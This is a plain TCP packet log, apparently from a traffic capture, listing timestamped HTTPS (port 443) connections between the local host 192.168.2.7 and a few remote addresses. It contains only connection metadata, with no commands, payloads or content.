Nov 15, 2024 19:39:28.118830919 CET	443	49779	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:28.118911982 CET	49779	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:28.119093895 CET	49779	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:28.119108915 CET	443	49779	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:28.129091978 CET	443	49775	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:28.129731894 CET	49775	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:28.129759073 CET	443	49775	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:28.130048037 CET	49775	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:28.130054951 CET	443	49775	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:28.151607990 CET	443	49774	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:28.152513981 CET	443	49774	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:28.152592897 CET	49774	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:28.152632952 CET	49774	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:28.152632952 CET	49774	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:28.152651072 CET	443	49774	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:28.152662039 CET	443	49774	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:28.155898094 CET	49780	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:28.155936003 CET	443	49780	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:28.156044006 CET	49780	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:28.156213999 CET	49780	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:28.156229973 CET	443	49780	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:28.263617039 CET	443	49775	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:28.263689995 CET	443	49775	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:28.263957977 CET	49775	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:28.263957977 CET	49775	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:28.263988018 CET	49775	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:28.264002085 CET	443	49775	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:28.266941071 CET	49781	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:28.266993999 CET	443	49781	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:28.267168045 CET	49781	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:28.267359972 CET	49781	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:28.267373085 CET	443	49781	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:28.287056923 CET	49758	443	192.168.2.7	172.202.163.200
Nov 15, 2024 19:39:28.287056923 CET	49758	443	192.168.2.7	172.202.163.200
Nov 15, 2024 19:39:28.287090063 CET	443	49758	172.202.163.200	192.168.2.7
Nov 15, 2024 19:39:28.287101984 CET	443	49758	172.202.163.200	192.168.2.7
Nov 15, 2024 19:39:28.348958969 CET	443	49777	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:28.349658966 CET	49777	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:28.349677086 CET	443	49777	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:28.351963997 CET	49777	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:28.351969957 CET	443	49777	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:28.480946064 CET	443	49777	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:28.481157064 CET	443	49777	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:28.481226921 CET	49777	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:28.481476068 CET	49777	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:28.481476068 CET	49777	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:28.481493950 CET	443	49777	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:28.481504917 CET	443	49777	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:28.485089064 CET	49782	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:28.485148907 CET	443	49782	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:28.485296011 CET	49782	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:28.485379934 CET	49782	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:28.485388994 CET	443	49782	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:28.706686020 CET	443	49778	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:28.707531929 CET	49778	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:28.707549095 CET	443	49778	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:28.708039999 CET	49778	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:28.708051920 CET	443	49778	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:28.836464882 CET	443	49778	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:28.836580038 CET	443	49778	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:28.836657047 CET	49778	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:28.836900949 CET	49778	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:28.836924076 CET	443	49778	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:28.836937904 CET	49778	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:28.836945057 CET	443	49778	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:28.839910984 CET	49783	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:28.839957952 CET	443	49783	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:28.840044022 CET	49783	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:28.840203047 CET	49783	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:28.840219021 CET	443	49783	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:28.884380102 CET	443	49779	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:28.886828899 CET	443	49780	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:28.887101889 CET	49779	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:28.887114048 CET	443	49779	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:28.887236118 CET	49780	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:28.887249947 CET	443	49780	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:28.888423920 CET	49780	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:28.888423920 CET	49779	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:28.888428926 CET	443	49780	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:28.888442039 CET	443	49779	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:28.995701075 CET	443	49781	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:28.997165918 CET	49781	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:28.997191906 CET	443	49781	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:28.997606039 CET	49781	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:28.997612000 CET	443	49781	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:29.016973972 CET	443	49780	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:29.017285109 CET	443	49780	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:29.017354965 CET	49780	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:29.017607927 CET	49780	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:29.017632961 CET	443	49780	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:29.017658949 CET	49780	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:29.017664909 CET	443	49780	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:29.020759106 CET	49784	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:29.020796061 CET	443	49784	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:29.021024942 CET	49784	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:29.021024942 CET	49784	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:29.021055937 CET	443	49784	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:29.042994976 CET	443	49779	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:29.043072939 CET	443	49779	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:29.043302059 CET	49779	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:29.043495893 CET	49779	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:29.043495893 CET	49779	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:29.043514967 CET	443	49779	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:29.043524981 CET	443	49779	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:29.045989037 CET	49785	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:29.046089888 CET	443	49785	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:29.046204090 CET	49785	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:29.046343088 CET	49785	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:29.046379089 CET	443	49785	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:29.124011993 CET	443	49781	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:29.124412060 CET	443	49781	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:29.124507904 CET	49781	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:29.124821901 CET	49781	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:29.124842882 CET	443	49781	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:29.124850035 CET	49781	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:29.124856949 CET	443	49781	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:29.127671003 CET	49786	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:29.127701998 CET	443	49786	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:29.127799034 CET	49786	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:29.127935886 CET	49786	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:29.127948999 CET	443	49786	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:29.260834932 CET	443	49782	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:29.261852026 CET	49782	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:29.261873007 CET	443	49782	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:29.262386084 CET	49782	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:29.262391090 CET	443	49782	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:29.397183895 CET	443	49782	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:29.397269964 CET	443	49782	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:29.397496939 CET	49782	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:29.397555113 CET	49782	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:29.397555113 CET	49782	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:29.397574902 CET	443	49782	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:29.397584915 CET	443	49782	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:29.400645018 CET	49787	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:29.400705099 CET	443	49787	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:29.400779009 CET	49787	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:29.400968075 CET	49787	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:29.400986910 CET	443	49787	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:29.559222937 CET	443	49783	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:29.559971094 CET	49783	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:29.560005903 CET	443	49783	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:29.560455084 CET	49783	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:29.560461044 CET	443	49783	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:29.687825918 CET	443	49783	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:29.688016891 CET	443	49783	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:29.688081026 CET	49783	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:29.688227892 CET	49783	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:29.688242912 CET	443	49783	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:29.688256025 CET	49783	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:29.688261032 CET	443	49783	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:29.691384077 CET	49788	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:29.691421032 CET	443	49788	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:29.691520929 CET	49788	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:29.692017078 CET	49788	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:29.692027092 CET	443	49788	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:29.758821964 CET	443	49784	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:29.759398937 CET	49784	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:29.759421110 CET	443	49784	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:29.759928942 CET	49784	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:29.759933949 CET	443	49784	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:29.775238991 CET	443	49785	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:29.782557964 CET	49785	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:29.782599926 CET	443	49785	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:29.783025980 CET	49785	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:29.783032894 CET	443	49785	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:29.860965014 CET	443	49786	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:29.861512899 CET	49786	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:29.861537933 CET	443	49786	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:29.861988068 CET	49786	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:29.861994028 CET	443	49786	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:29.888515949 CET	443	49784	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:29.888576031 CET	443	49784	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:29.888643026 CET	49784	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:29.888878107 CET	49784	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:29.888900042 CET	443	49784	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:29.888910055 CET	49784	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:29.888915062 CET	443	49784	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:29.892036915 CET	49789	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:29.892066002 CET	443	49789	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:29.892143011 CET	49789	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:29.892299891 CET	49789	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:29.892312050 CET	443	49789	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:29.906754971 CET	443	49785	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:29.906964064 CET	443	49785	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:29.907043934 CET	49785	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:29.907084942 CET	49785	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:29.907104015 CET	443	49785	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:29.907138109 CET	49785	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:29.907145023 CET	443	49785	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:29.909584999 CET	49790	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:29.909614086 CET	443	49790	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:29.909694910 CET	49790	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:29.909826040 CET	49790	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:29.909838915 CET	443	49790	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:29.990629911 CET	443	49786	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:29.990787029 CET	443	49786	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:29.990854025 CET	49786	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:29.990967989 CET	49786	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:29.990977049 CET	443	49786	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:29.990992069 CET	49786	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:29.990995884 CET	443	49786	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:29.993815899 CET	49791	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:29.993837118 CET	443	49791	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:29.993921041 CET	49791	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:29.994061947 CET	49791	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:29.994074106 CET	443	49791	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:30.131726980 CET	443	49787	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:30.132440090 CET	49787	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:30.132473946 CET	443	49787	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:30.132986069 CET	49787	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:30.132992029 CET	443	49787	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:30.263122082 CET	443	49787	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:30.263449907 CET	443	49787	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:30.263518095 CET	49787	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:30.263573885 CET	49787	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:30.263598919 CET	443	49787	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:30.263612986 CET	49787	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:30.263621092 CET	443	49787	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:30.268348932 CET	49792	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:30.268385887 CET	443	49792	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:30.268445969 CET	49792	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:30.268632889 CET	49792	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:30.268644094 CET	443	49792	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:30.421386003 CET	443	49788	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:30.424187899 CET	49788	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:30.424211979 CET	443	49788	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:30.425431967 CET	49788	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:30.425440073 CET	443	49788	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:30.549455881 CET	443	49788	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:30.549516916 CET	443	49788	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:30.549608946 CET	49788	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:30.549628019 CET	443	49788	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:30.549659967 CET	443	49788	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:30.549714088 CET	49788	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:30.550110102 CET	49788	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:30.550123930 CET	443	49788	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:30.550137043 CET	49788	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:30.550142050 CET	443	49788	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:30.554016113 CET	49793	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:30.554069996 CET	443	49793	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:30.554150105 CET	49793	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:30.554471016 CET	49793	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:30.554506063 CET	443	49793	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:30.632703066 CET	443	49789	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:30.633383036 CET	49789	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:30.633430004 CET	443	49789	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:30.635827065 CET	49789	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:30.635834932 CET	443	49789	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:30.671202898 CET	443	49790	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:30.716487885 CET	49790	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:30.716502905 CET	443	49790	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:30.717009068 CET	49790	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:30.717014074 CET	443	49790	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:30.752110958 CET	443	49791	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:30.756076097 CET	49791	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:30.756108046 CET	443	49791	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:30.760054111 CET	49791	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:30.760060072 CET	443	49791	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:30.764590979 CET	443	49789	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:30.764657974 CET	443	49789	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:30.764725924 CET	49789	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:30.768436909 CET	49789	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:30.768455029 CET	443	49789	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:30.768461943 CET	49789	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:30.768469095 CET	443	49789	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:30.809865952 CET	49794	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:30.809911966 CET	443	49794	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:30.809982061 CET	49794	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:30.813827038 CET	49794	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:30.813843012 CET	443	49794	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:30.845513105 CET	443	49790	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:30.845700026 CET	443	49790	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:30.845766068 CET	49790	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:30.845796108 CET	49790	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:30.845813990 CET	443	49790	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:30.845824957 CET	49790	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:30.845829964 CET	443	49790	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:30.864545107 CET	49795	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:30.864639997 CET	443	49795	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:30.864726067 CET	49795	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:30.868189096 CET	49795	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:30.868226051 CET	443	49795	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:30.885170937 CET	443	49791	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:30.885193110 CET	443	49791	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:30.885241985 CET	443	49791	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:30.885267973 CET	49791	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:30.885302067 CET	49791	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:30.889730930 CET	49791	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:30.889754057 CET	443	49791	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:30.889769077 CET	49791	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:30.889775038 CET	443	49791	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:30.926707983 CET	49796	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:30.926742077 CET	443	49796	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:30.926834106 CET	49796	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:30.978878975 CET	49796	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:30.978897095 CET	443	49796	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:30.991184950 CET	443	49769	172.67.174.133	192.168.2.7
Nov 15, 2024 19:39:30.991288900 CET	443	49769	172.67.174.133	192.168.2.7
Nov 15, 2024 19:39:30.991355896 CET	49769	443	192.168.2.7	172.67.174.133
Nov 15, 2024 19:39:30.991529942 CET	49769	443	192.168.2.7	172.67.174.133
Nov 15, 2024 19:39:30.991552114 CET	443	49769	172.67.174.133	192.168.2.7
Nov 15, 2024 19:39:31.004338026 CET	49797	443	192.168.2.7	172.67.174.133
Nov 15, 2024 19:39:31.004375935 CET	443	49797	172.67.174.133	192.168.2.7
Nov 15, 2024 19:39:31.004447937 CET	49797	443	192.168.2.7	172.67.174.133
Nov 15, 2024 19:39:31.005069971 CET	49797	443	192.168.2.7	172.67.174.133
Nov 15, 2024 19:39:31.005084038 CET	443	49797	172.67.174.133	192.168.2.7
Nov 15, 2024 19:39:31.012882948 CET	443	49792	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:31.024808884 CET	49792	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:31.024849892 CET	443	49792	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:31.025305033 CET	49792	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:31.025311947 CET	443	49792	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:31.153572083 CET	443	49792	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:31.153597116 CET	443	49792	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:31.153664112 CET	443	49792	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:31.153680086 CET	49792	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:31.153758049 CET	49792	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:31.308876991 CET	49792	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:31.308886051 CET	443	49792	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:31.308897018 CET	49792	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:31.308902025 CET	443	49792	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:31.312850952 CET	443	49793	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:31.314824104 CET	49798	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:31.314857960 CET	443	49798	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:31.314914942 CET	49798	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:31.315849066 CET	49798	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:31.315864086 CET	443	49798	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:31.315896034 CET	49793	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:31.315942049 CET	443	49793	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:31.316333055 CET	49793	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:31.316345930 CET	443	49793	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:31.602549076 CET	443	49795	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:31.604238033 CET	49795	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:31.604301929 CET	443	49795	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:31.605192900 CET	49795	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:31.605206966 CET	443	49795	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:31.620587111 CET	443	49797	172.67.174.133	192.168.2.7
Nov 15, 2024 19:39:31.620663881 CET	49797	443	192.168.2.7	172.67.174.133
Nov 15, 2024 19:39:31.626641989 CET	49797	443	192.168.2.7	172.67.174.133
Nov 15, 2024 19:39:31.626655102 CET	443	49797	172.67.174.133	192.168.2.7
Nov 15, 2024 19:39:31.626982927 CET	443	49797	172.67.174.133	192.168.2.7
